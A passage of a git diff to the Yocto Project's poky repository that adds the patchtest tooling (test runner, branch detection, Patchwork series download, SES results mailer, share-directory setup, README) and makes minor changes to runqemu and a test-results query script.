+ logger.error('patchtest: something went wrong')
+ return 1
+
+ return 0
+
+def run(patch, logfile=None):
+ """ Load, setup and run pre and post-merge tests """
+ # Get the result class and install the control-c handler
+ unittest.installHandler()
+
+ # run pre-merge tests, meaning those methods with 'pretest' as prefix
+ premerge_resultklass = getResult(patch, False, logfile)
+ premerge_result = _runner(premerge_resultklass, 'pretest')
+
+ # run post-merge tests, meaning those methods with 'test' as prefix
+ postmerge_resultklass = getResult(patch, True, logfile)
+ postmerge_result = _runner(postmerge_resultklass, 'test')
+
+ if premerge_result == 2 and postmerge_result == 2:
+ logger.error('patchtest: any test cases found - did you specify the correct suite directory?')
+
+ return premerge_result or postmerge_result
+
+def main():
+ tmp_patch = False
+ patch_path = PatchTestInput.patch_path
+ log_results = PatchTestInput.log_results
+ log_path = None
+ patch_list = None
+
+ git_status = os.popen("(cd %s && git status)" % PatchTestInput.repodir).read()
+ status_matches = ["Changes not staged for commit", "Changes to be committed"]
+ if any([match in git_status for match in status_matches]):
+ logger.error("patchtest: there are uncommitted changes in the target repo that would be overwritten. Please commit or restore them before running patchtest")
+ return 1
+
+ if os.path.isdir(patch_path):
+ patch_list = [os.path.join(patch_path, filename) for filename in sorted(os.listdir(patch_path))]
+ else:
+ patch_list = [patch_path]
+
+ for patch in patch_list:
+ if os.path.getsize(patch) == 0:
+ logger.error('patchtest: patch is empty')
+ return 1
+
+ logger.info('Testing patch %s' % patch)
+
+ if log_results:
+ log_path = patch + ".testresult"
+ with open(log_path, "a") as f:
+ f.write("Patchtest results for patch '%s':\n\n" % patch)
+
+ try:
+ if log_path:
+ run(patch, log_path)
+ else:
+ run(patch)
+ finally:
+ if tmp_patch:
+ os.remove(patch)
+
+if __name__ == '__main__':
+ ret = 1
+
+ # Parse the command line arguments and store it on the PatchTestInput namespace
+ PatchTestInput.set_namespace()
+
+ # set debugging level
+ if PatchTestInput.debug:
+ logger.setLevel(logging.DEBUG)
+
+ # if topdir not define, default it to testdir
+ if not PatchTestInput.topdir:
+ PatchTestInput.topdir = PatchTestInput.testdir
+
+ try:
+ ret = main()
+ except Exception:
+ import traceback
+ traceback.print_exc(5)
+
+ sys.exit(ret)
diff --git a/poky/scripts/patchtest-get-branch b/poky/scripts/patchtest-get-branch
new file mode 100755
index 0000000000..b5fb2b0f04
--- /dev/null
+++ b/poky/scripts/patchtest-get-branch
@@ -0,0 +1,81 @@
+#!/usr/bin/env python3
+
+# Get target branch from the corresponding mbox
+#
+# NOTE: this script was based on patches coming to the openembedded-core
+# where target branch is defined inside brackets as subject prefix
+# i.e. [master], [rocko], etc.
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import mailbox
+import argparse
+import re
+import git
+
+re_prefix = re.compile("(\[.*\])", re.DOTALL)
+
+def get_branch(filepath_repo, filepath_mbox, default_branch):
+ branch = None
+
+ # get all remotes branches
+ gitbranches = git.Git(filepath_repo).branch('-a').splitlines()
+
+ # from gitbranches, just get the names
+ branches = [b.split('/')[-1] for b in gitbranches]
+
+ subject = ' '.join(mailbox.mbox(filepath_mbox)[0]['subject'].splitlines())
+
+ # we expect that patches will have somewhere between one and three
+ # consecutive sets of square brackets with tokens inside, e.g.:
+ # 1. [PATCH]
+ # 2. [OE-core][PATCH]
+ # 3. [OE-core][kirkstone][PATCH]
+ # Some of them may also be part of a series, in which case the PATCH
+ # token will be formatted like:
+ # [PATCH 1/4]
+ # or they will be revisions to previous patches, where it will be:
+ # [PATCH v2]
+ # Or they may contain both:
+ # [PATCH v2 3/4]
+ # In any case, we want mprefix to contain all of these tokens so
+ # that we can search for branch names within them.
+ mprefix = re.findall(r'\[.*?\]', subject)
+ found_branch = None
+ if mprefix:
+ # Iterate over the tokens and compare against the branch list to
+ # figure out which one the patch is targeting
+ for token in mprefix:
+ stripped = token.lower().strip('[]')
+ if default_branch in stripped:
+ found_branch = default_branch
+ break
+ else:
+ for branch in branches:
+ # ignore branches named "core"
+ if branch != "core" and stripped.rfind(branch) != -1:
+ found_branch = token.split(' ')[0].strip('[]')
+ break
+
+ # if there's no mprefix content or no known branches were found in
+ # the tokens, assume the target is master
+ if found_branch is None:
+ found_branch = "master"
+
+ return (subject, found_branch)
+
+if __name__ == '__main__':
+
+ parser = argparse.ArgumentParser()
+ parser.add_argument('repo', metavar='REPO', help='Main repository')
+ parser.add_argument('mbox', metavar='MBOX', help='mbox filename')
+ parser.add_argument('--default-branch', metavar='DEFAULT_BRANCH', default='master', help='Use this branch if no one is found')
+ parser.add_argument('--separator', '-s', metavar='SEPARATOR', default=' ', help='Char separator for output data')
+ args = parser.parse_args()
+
+ subject, branch = get_branch(args.repo, args.mbox, args.default_branch)
+ print("branch: %s" % branch)
+
diff --git a/poky/scripts/patchtest-get-series b/poky/scripts/patchtest-get-series
new file mode 100755
index 0000000000..908442089f
--- /dev/null
+++ b/poky/scripts/patchtest-get-series
@@ -0,0 +1,115 @@
+#!/bin/bash -e
+#
+# get-latest-series: Download latest patch series from Patchwork
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+# the interval into the past which we want to check for new series, in minutes
+INTERVAL_MINUTES=30
+
+# Maximum number of series to retrieve. the Patchwork API can support up to 250
+# at once
+SERIES_LIMIT=250
+
+# Location to save patches
+DOWNLOAD_PATH="."
+
+# Name of the file to use/check as a log of previously-tested series IDs
+SERIES_TEST_LOG=".series_test.log"
+
+# Patchwork project to pull series patches from
+PROJECT="oe-core"
+
+# The Patchwork server to pull from
+SERVER="https://patchwork.yoctoproject.org/api/1.2/"
+
+help()
+{
+ echo "Usage: get-latest-series [ -i | --interval MINUTES ]
+ [ -d | --directory DIRECTORY ]
+ [ -l | --limit COUNT ]
+ [ -h | --help ]
+ [ -t | --tested-series LOGFILE]
+ [ -p | --project PROJECT ]
+ [ -s | --server SERVER ]"
+ exit 2
+}
+
+while [ "$1" != "" ]; do
+ case $1 in
+ -i|--interval)
+ INTERVAL_MINUTES=$2
+ shift 2
+ ;;
+ -l|--limit)
+ SERIES_LIMIT=$2
+ shift 2
+ ;;
+ -d|--directory)
+ DOWNLOAD_PATH=$2
+ shift 2
+ ;;
+ -p|--project)
+ PROJECT=$2
+ shift 2
+ ;;
+ -s|--server)
+ SERVER=$2
+ shift 2
+ ;;
+ -t|--tested-series)
+ SERIES_TEST_LOG=$2
+ shift 2
+ ;;
+ -h|--help)
+ help
+ ;;
+ *)
+ echo "Unknown option $1"
+ help
+ ;;
+ esac
+done
+
+# The time this script is running at
+START_TIME=$(date --date "now" +"%Y-%m-%dT%H:%M:%S")
+
+# the corresponding timestamp we want to check against for new patch series
+SERIES_CHECK_LIMIT=$(date --date "now - ${INTERVAL_MINUTES} minutes" +"%Y-%m-%dT%H:%M:%S")
+
+echo "Start time is $START_TIME"
+echo "Series check limit is $SERIES_CHECK_LIMIT"
+
+# Create DOWNLOAD_PATH if it doesn't exist
+if [ ! -d "$DOWNLOAD_PATH" ]; then
+ mkdir "${DOWNLOAD_PATH}"
+fi
+
+# Create SERIES_TEST_LOG if it doesn't exist
+if [ ! -f "$SERIES_TEST_LOG" ]; then
+ touch "${SERIES_TEST_LOG}"
+fi
+
+# Retrieve a list of series IDs from the 'git-pw series list' output. The API
+# supports a maximum of 250 results, so make sure we allow that when required
+SERIES_LIST=$(git-pw --project "${PROJECT}" --server "${SERVER}" series list --since "${SERIES_CHECK_LIMIT}" --limit "${SERIES_LIMIT}" | awk '{print $2}' | xargs | sed -e 's/[^0-9 ]//g')
+
+if [ -z "$SERIES_LIST" ]; then
+ echo "No new series for project ${PROJECT} since ${SERIES_CHECK_LIMIT}"
+ exit 0
+fi
+
+# Check each series ID
+for SERIES in $SERIES_LIST; do
+ # Download the series only if it's not found in the SERIES_TEST_LOG
+ if ! grep -w --quiet "${SERIES}" "${SERIES_TEST_LOG}"; then
+ echo "Downloading $SERIES..."
+ git-pw series download --separate "${SERIES}" "${DOWNLOAD_PATH}"
+ echo "${SERIES}" >> "${SERIES_TEST_LOG}"
+ else
+ echo "Already tested ${SERIES}. Skipping..."
+ fi
+done
diff --git a/poky/scripts/patchtest-send-results b/poky/scripts/patchtest-send-results
new file mode 100755
index 0000000000..71b73f0940
--- /dev/null
+++ b/poky/scripts/patchtest-send-results
@@ -0,0 +1,96 @@
+#!/usr/bin/env python3
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtest: execute all unittest test cases discovered for a single patch
+# Note that this script is currently under development and has been
+# hard-coded with default values for testing purposes. This script
+# should not be used without changing the default recipient, at minimum.
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import argparse
+import boto3
+import configparser
+import mailbox
+import os
+import re
+import sys
+
+greeting = """Thank you for your submission. Patchtest identified one
+or more issues with the patch. Please see the log below for
+more information:\n\n---\n"""
+
+suggestions = """\n---\n\nPlease address the issues identified and
+submit a new revision of the patch, or alternatively, reply to this
+email with an explanation of why the patch should be accepted. If you
+believe these results are due to an error in patchtest, please submit a
+bug at https://bugzilla.yoctoproject.org/ (use the 'Patchtest' category
+under 'Yocto Project Subprojects'). For more information on specific
+failures, see: https://wiki.yoctoproject.org/wiki/Patchtest. Thank
+you!"""
+
+parser = argparse.ArgumentParser(description="Send patchtest results to a submitter for a given patch")
+parser.add_argument("-p", "--patch", dest="patch", required=True, help="The patch file to summarize")
+args = parser.parse_args()
+
+if not os.path.exists(args.patch):
+ print(f"Patch '{args.patch}' not found - did you provide the right path?")
+ sys.exit(1)
+elif not os.path.exists(args.patch + ".testresult"):
+ print(f"Found patch '{args.patch}' but '{args.patch}.testresult' was not present. Have you run patchtest on the patch?")
+ sys.exit(1)
+
+result_file = args.patch + ".testresult"
+result_basename = os.path.basename(args.patch)
+testresult = None
+
+with open(result_file, "r") as f:
+ testresult = f.read()
+
+# we know these patch files will only contain a single patch, so only
+# worry about the first element for getting the subject
+mbox = mailbox.mbox(args.patch)
+mbox_subject = mbox[0]['subject']
+subject_line = f"Patchtest results for {mbox_subject}"
+
+# extract the submitter email address and use it as the reply address
+# for the results
+reply_address = mbox[0]['from']
+
+# extract the message ID and use that as the in-reply-to address
+in_reply_to = re.findall("<(.*)>", mbox[0]['Message-ID'])[0]
+
+# the address the results email is sent from
+from_address = "patchtest@automation.yoctoproject.org"
+
+# mailing list to CC
+cc_address = "openembedded-core@lists.openembedded.org"
+
+if "FAIL" in testresult:
+ reply_contents = None
+ if len(max(open(result_file, 'r'), key=len)) > 220:
+ warning = "Tests failed for the patch, but the results log could not be processed due to excessive result line length."
+ reply_contents = greeting + warning + suggestions
+ else:
+ reply_contents = greeting + testresult + suggestions
+
+ ses_client = boto3.client('ses', region_name='us-west-2')
+ raw_data = 'From: ' + from_address + '\nTo: ' + reply_address + \
+ '\nCC: ' + cc_address + '\nSubject:' + subject_line + \
+ '\nIn-Reply-To:' + in_reply_to + \
+ '\nMIME-Version: 1.0" + \
+ "\nContent-type: Multipart/Mixed;boundary="NextPart"\n\n--NextPart\nContent-Type: text/plain\n\n' + \
+ reply_contents + '\n\n--NextPart'
+ response = ses_client.send_raw_email(
+ Source="patchtest@automation.yoctoproject.org",
+ RawMessage={
+ "Data": raw_data,
+ },
+ )
+
+else:
+ print(f"No failures identified for {args.patch}.")
diff --git a/poky/scripts/patchtest-setup-sharedir b/poky/scripts/patchtest-setup-sharedir
new file mode 100755
index 0000000000..277677e527
--- /dev/null
+++ b/poky/scripts/patchtest-setup-sharedir
@@ -0,0 +1,83 @@
+#!/bin/bash -e
+#
+# patchtest-setup-sharedir: Setup a directory for storing mboxes and
+# repositories to be shared with the guest machine, including updates to
+# the repos if the directory already exists
+#
+# Copyright (C) 2023 BayLibre Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+# poky repository
+POKY_REPO="https://git.yoctoproject.org/poky"
+
+# patchtest repository
+PATCHTEST_REPO="https://git.yoctoproject.org/patchtest"
+
+# the name of the directory
+SHAREDIR="patchtest_share"
+
+help()
+{
+ echo "Usage: patchtest-setup-sharedir [ -d | --directory SHAREDIR ]
+ [ -p | --patchtest PATCHTEST_REPO ]
+ [ -y | --poky POKY_REPO ]"
+ exit 2
+}
+
+while [ "$1" != "" ]; do
+ case $1 in
+ -d|--directory)
+ SHAREDIR=$2
+ shift 2
+ ;;
+ -p|--patchtest)
+ PATCHTEST_REPO=$2
+ shift 2
+ ;;
+ -y|--poky)
+ POKY_REPO=$2
+ shift 2
+ ;;
+ -h|--help)
+ help
+ ;;
+ *)
+ echo "Unknown option $1"
+ help
+ ;;
+ esac
+done
+
+# define MBOX_DIR where the patch series will be stored by
+# get-latest-series
+MBOX_DIR="${SHAREDIR}/mboxes"
+
+# Create SHAREDIR if it doesn't exist
+if [ ! -d "$SHAREDIR" ]; then
+ mkdir -p "${SHAREDIR}"
+ echo "Created ${SHAREDIR}"
+fi
+
+# Create the mboxes directory if it doesn't exist
+if [ ! -d "$MBOX_DIR" ]; then
+ mkdir -p "${MBOX_DIR}"
+ echo "Created ${MBOX_DIR}"
+fi
+
+# clone poky if it's not already present; otherwise, update it
+if [ ! -d "$POKY_REPO" ]; then
+ BASENAME=$(basename ${POKY_REPO})
+ git clone "${POKY_REPO}" "${SHAREDIR}/${BASENAME}"
+else
+ (cd "${SHAREDIR}/$BASENAME" && git pull)
+fi
+
+# clone patchtest if it's not already present; otherwise, update it
+if [ ! -d "$PATCHTEST_REPO" ]; then
+ BASENAME=$(basename ${PATCHTEST_REPO})
+ git clone "${PATCHTEST_REPO}" "${SHAREDIR}/${BASENAME}"
+else
+ (cd "${SHAREDIR}/$BASENAME" && git pull)
+fi
diff --git a/poky/scripts/patchtest.README b/poky/scripts/patchtest.README
new file mode 100644
index 0000000000..ad46b02ad6
--- /dev/null
+++ b/poky/scripts/patchtest.README
@@ -0,0 +1,156 @@
+# Patchtest
+
+## Introduction
+
+Patchtest is a test framework for community patches based on the standard
+unittest python module. As input, it needs tree elements to work properly:
+a patch in mbox format (either created with `git format-patch` or fetched
+from 'patchwork'), a test suite and a target repository.
+
+The first test suite intended to be used with patchtest is found in the
+openembedded-core repository [1] targeted for patches that get into the
+openembedded-core mailing list [2]. This suite is also intended as a
+baseline for development of similar suites for other layers as needed.
+
+Patchtest can either run on a host or a guest machine, depending on which
+environment the execution needs to be done. If you plan to test your own patches
+(a good practice before these are sent to the mailing list), the easiest way is
+to install and execute on your local host; in the other hand, if automatic
+testing is intended, the guest method is strongly recommended. The guest
+method requires the use of the patchtest layer, in addition to the tools
+available in oe-core: https://git.yoctoproject.org/patchtest/
+
+## Installation
+
+As a tool for use with the Yocto Project, the [quick start guide](https://docs.yoctoproject.org/brief-yoctoprojectqs/index.html)
+contains the necessary prerequisites for a basic project. In addition,
+patchtest relies on the following Python modules:
+
+- boto3 (for sending automated results emails only)
+- git-pw>=2.5.0
+- jinja2
+- pylint
+- pyparsing>=3.0.9
+- unidiff
+
+These can be installed by running `pip install -r
+meta/lib/patchtest/requirements.txt`. Note that git-pw is not
+automatically added to the user's PATH; by default, it is installed at
+~/.local/bin/git-pw.
+
+For git-pw (and therefore scripts such as patchtest-get--series) to work, you need
+to provide a Patchwork instance in your user's .gitconfig, like so (the project
+can be specified using the --project argument):
+
+ git config --global pw.server "https://patchwork.yoctoproject.org/api/1.2/"
+
+To work with patchtest, you should have the following repositories cloned:
+
+1. https://git.openembedded.org/openembedded-core/ (or https://git.yoctoproject.org/poky/)
+2. https://git.openembedded.org/bitbake/ (if not using poky)
+3. https://git.yoctoproject.org/patchtest (if using guest mode)
+
+## Usage
+
+### Obtaining Patches
+
+Patch files can be obtained directly from cloned repositories using `git
+format-patch -N` (where N is the number of patches starting from HEAD to
+generate). git-pw can also be used with filters for users, patch/series IDs,
+and timeboxes if specific patches are desired. For more information, see the
+git-pw [documentation](https://patchwork.readthedocs.io/projects/git-pw/en/latest/).
+
+Alternatively, `scripts/patchtest-get-series` can be used to pull mbox files from
+the Patchwork instance configured previously in .gitconfig. It uses a log file
+called ".series_test.log" to store and compare series IDs so that the same
+versions of a patch are not tested multiple times unintentionally. By default,
+it will pull up to five patch series from the last 30 minutes using oe-core as
+the target project, but these parameters can be configured using the `--limit`,
+`--interval`, and `--project` arguments respectively. For more information, run
+`patchtest-get-series -h`.
+
+### Host Mode
+
+To run patchtest on the host, do the following:
+
+1. In openembedded-core/poky, do `source oe-init-build-env`
+2. Generate patch files from the target repository by doing `git-format patch -N`,
+ where N is the number of patches starting at HEAD, or by using git-pw
+ or patchtest-get-series
+3. Run patchtest on a patch file by doing the following:
+
+ patchtest --patch /path/to/patch/file
+
+ or, if you have stored the patch files in a directory, do:
+
+ patchtest --directory /path/to/patch/directory
+
+ For example, to test `master-gcc-Fix--fstack-protector-issue-on-aarch64.patch` against the oe-core test suite:
+
+ patchtest --patch master-gcc-Fix--fstack-protector-issue-on-aarch64.patch
+
+ If you want to use a different test suite or target repository, you can use the --testdir and --repodir flags:
+
+ patchtest --patch /path/to/patch/file --repodir /path/to/repo --testdir /path/to/test/dir
+
+### Guest Mode
+
+Patchtest's guest mode has been refactored to more closely mirror the
+typical Yocto Project image build workflow, but there are still some key
+differences to keep in mind. The primary objective is to provide a level
+of isolation from the host when testing patches pulled automatically
+from the mailing lists. When executed this way, the test process is
+essentially running random code from the internet and could be
+catastrophic if malicious bits or even poorly-handled edge cases aren't
+protected against. In order to use this mode, the
+https://git.yoctoproject.org/patchtest/ repository must be cloned and
+the meta-patchtest layer added to bblayers.conf.
+
+The general flow of guest mode is:
+
+1. Run patchtest-setup-sharedir --directory <dirname> to create a
+ directory for mounting
+2. Collect patches via patchtest-get-series (or other manual step) into the
+ <dirname>/mboxes path
+3. Ensure that a user with ID 1200 has appropriate read/write
+ permissions to <dirname> and <dirname>/mboxes, so that the
+ "patchtest" user in the core-image-patchtest image can function
+4. Build the core-image-patchtest image
+5. Run the core-image-patchtest image with the mounted sharedir, like
+ so:
+ `runqemu kvm nographic qemuparams="-snapshot -fsdev
+ local,id=test_mount,path=/workspace/yocto/poky/build/patchtestdir,security_model=mapped
+ -device virtio-9p-pci,fsdev=test_mount,mount_tag=test_mount -smp 4 -m
+ 2048"`
+
+Patchtest runs as an initscript for the core-image-patchtest image and
+shuts down after completion, so there is no input required from a user
+during operation. Unlike in host mode, the guest is designed to
+automatically generate test result files, in the same directory as the
+targeted patch files but with .testresult as an extension. These contain
+the entire output of the patchtest run for each respective pass,
+including the PASS, FAIL, and SKIP indicators for each test run.
+
+## Contributing
+
+The yocto mailing list (yocto@lists.yoctoproject.org) is used for questions,
+comments and patch review. It is subscriber only, so please register before
+posting.
+
+Send pull requests to yocto@lists.yoctoproject.org with '[patchtest]' in the
+subject.
+
+When sending single patches, please use something like:
+
+ git send-email -M -1 --to=yocto@lists.yoctoproject.org --subject-prefix=patchtest][PATCH
+
+## Maintenance
+-----------
+
+Maintainers:
+ Trevor Gamblin <tgamblin@baylibre.com>
+
+## Links
+-----
+[1] https://git.openembedded.org/openembedded-core/
+[2] https://www.yoctoproject.org/community/mailing-lists/
diff --git a/poky/scripts/runqemu b/poky/scripts/runqemu
index 6fca7439a1..18aeb7f5f0 100755
--- a/poky/scripts/runqemu
+++ b/poky/scripts/runqemu
@@ -198,7 +198,9 @@ class BaseConfig(object):
self.snapshot = False
self.wictypes = ('wic', 'wic.vmdk', 'wic.qcow2', 'wic.vdi', "wic.vhd", "wic.vhdx")
self.fstypes = ('ext2', 'ext3', 'ext4', 'jffs2', 'nfs', 'btrfs',
- 'cpio.gz', 'cpio', 'ramfs', 'tar.bz2', 'tar.gz')
+ 'cpio.gz', 'cpio', 'ramfs', 'tar.bz2', 'tar.gz',
+ 'squashfs', 'squashfs-xz', 'squashfs-lzo',
+ 'squashfs-lz4', 'squashfs-zst')
self.vmtypes = ('hddimg', 'iso')
self.fsinfo = {}
self.network_device = "-device e1000,netdev=net0,mac=@MAC@"
diff --git a/poky/scripts/yocto_testresults_query.py b/poky/scripts/yocto_testresults_query.py
index a5073736aa..521ead8473 100755
--- a/poky/scripts/yocto_testresults_query.py
+++ b/poky/scripts/yocto_testresults_query.py
@@ -56,9 +56,12 @@ def fetch_testresults(workdir, sha1):
subprocess.check_call(["git", "fetch", "--depth", "1", "origin", f"{rev}:{rev}"], cwd=workdir)
return branch
-def compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision):
+def compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision, args):
logger.info(f"Running resulttool regression between SHA1 {baserevision} and {targetrevision}")
- report = subprocess.check_output([resulttool, "regression-git", "--branch", basebranch, "--commit", baserevision, "--branch2", targetbranch, "--commit2", targetrevision, workdir]).decode("utf-8")
+ command = [resulttool, "regression-git", "--branch", basebranch, "--commit", baserevision, "--branch2", targetbranch, "--commit2", targetrevision, workdir]
+ if args.limit:
+ command.extend(["-l", args.limit])
+ report = subprocess.check_output(command).decode("utf-8")
return report
def print_report_with_header(report, baseversion, baserevision, targetversion, targetrevision):
@@ -85,7 +88,7 @@ def regression(args):
sys.exit(1)
basebranch = fetch_testresults(workdir, baserevision)
targetbranch = fetch_testresults(workdir, targetrevision)
- report = compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision)
+ report = compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision, args)
print_report_with_header(report, args.base, baserevision, args.target, targetrevision)
finally:
if not args.testresultsdir:
@@ -109,6 +112,10 @@ def main():
'-t',
'--testresultsdir',
help=f"An existing test results directory. {sys.argv[0]} will automatically clone it and use default branch if not provided")
+ parser_regression_report.add_argument(
+ '-l',
+ '--limit',
+ help=f"Maximum number of changes to display per test. Can be set to 0 to print all changes")
parser_regression_report.set_defaults(func=regression)
args = parser.parse_args()